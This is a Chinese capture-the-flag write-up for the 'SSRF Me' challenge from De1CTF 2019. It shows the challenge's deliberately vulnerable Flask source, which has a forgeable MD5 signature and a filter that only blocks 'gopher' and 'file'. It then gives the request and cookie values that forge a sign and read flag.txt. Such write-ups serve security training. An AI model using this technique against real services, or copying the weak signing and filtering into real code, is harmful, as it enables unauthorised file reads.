BUUCTF [De1CTF 2019]SSRF Me 1

BUUCTF [De1CTF 2019]SSRF Me 1

打开题目得到如下源码:

#! /usr/bin/env python
#encoding=utf-8
from flask import Flask
from flask import request
import socket
import hashlib
import urllib
import sys
import os
import json
reload(sys)
sys.setdefaultencoding('latin1')

app = Flask(__name__)

secert_key = os.urandom(16)


class Task:
    def __init__(self, action, param, sign, ip):
        self.action = action
        self.param = param
        self.sign = sign
        self.sandbox = md5(ip)
        if(not os.path.exists(self.sandbox)):          #SandBox For Remote_Addr
            os.mkdir(self.sandbox)

    #Exec:检查cookie中的action,如果scan在action中,将param的文件内容写入result.txt,如果read在action中,读出result.txt内容
    def Exec(self):
        result = {}
        result['code'] = 500
        if (self.checkSign()):
            if "scan" in self.action:
                tmpfile = open("./%s/result.txt" % self.sandbox, 'w')
                resp = scan(self.param)
                if (resp == "Connection Timeout"):
                    result['data'] = resp
                else:
                    print resp
                    tmpfile.write(resp)
                    tmpfile.close()
                result['code'] = 200
            if "read" in self.action:
                f = open("./%s/result.txt" % self.sandbox, 'r')
                result['code'] = 200
                result['data'] = f.read()
            if result['code'] == 500:
                result['data'] = "Action Error"
        else:
            result['code'] = 500
            result['msg'] = "Sign Error"
        return result
    #cheackSign:检查cookie中的sign
    def checkSign(self):
        if (getSign(self.action, self.param) == self.sign):
            return True
        else:
            return False


#generate Sign For Action Scan.
#/genesign:获得URL中parma参数,通过getSign(action,param)生成摘要
@app.route("/geneSign", methods=['GET', 'POST'])
def geneSign():
    param = urllib.unquote(request.args.get("param", ""))
    action = "scan"
    return getSign(action, param)

#/De1ta:获得cookie中的action和sign,waf(param),创建的task对象,调用exce()方法返回
@app.route('/De1ta',methods=['GET','POST'])
def challenge():
    action = urllib.unquote(request.cookies.get("action"))
    param = urllib.unquote(request.args.get("param", ""))
    sign = urllib.unquote(request.cookies.get("sign"))
    ip = request.remote_addr
    if(waf(param)):
        return "No Hacker!!!!"
    task = Task(action, param, sign, ip)
    return json.dumps(task.Exec())

#/ 返回源码    
@app.route('/')
def index():
    return open("code.txt","r").read()


def scan(param):
    socket.setdefaulttimeout(1)
    try:
        return urllib.urlopen(param).read()[:50]
    except:
        return "Connection Timeout"


#getSign:返回secert_key+param+action的哈希值
def getSign(action, param):
    return hashlib.md5(secert_key + param + action).hexdigest()

#md5加密
def md5(content):
    return hashlib.md5(content).hexdigest()

#禁止了file和gopher协议
def waf(param):
    check=param.strip().lower()
    if check.startswith("gopher") or check.startswith("file"):
        return True
    else:
        return False


if __name__ == '__main__':
    app.debug = False
    app.run(host='0.0.0.0',port=80)
  • 先通过传参:/geneSign?param=flag.txtread 得到sign
  • BUUCTF [De1CTF 2019]SSRF Me 1_第1张图片
  • 传参+抓包:/De1ta?param=flag.txt 添加cookie:Cookie: sign=ce1446f8004f259cd82ba65eb0a8a285; action=readscan 得到flag
  • BUUCTF [De1CTF 2019]SSRF Me 1_第2张图片

你可能感兴趣的:(CTF)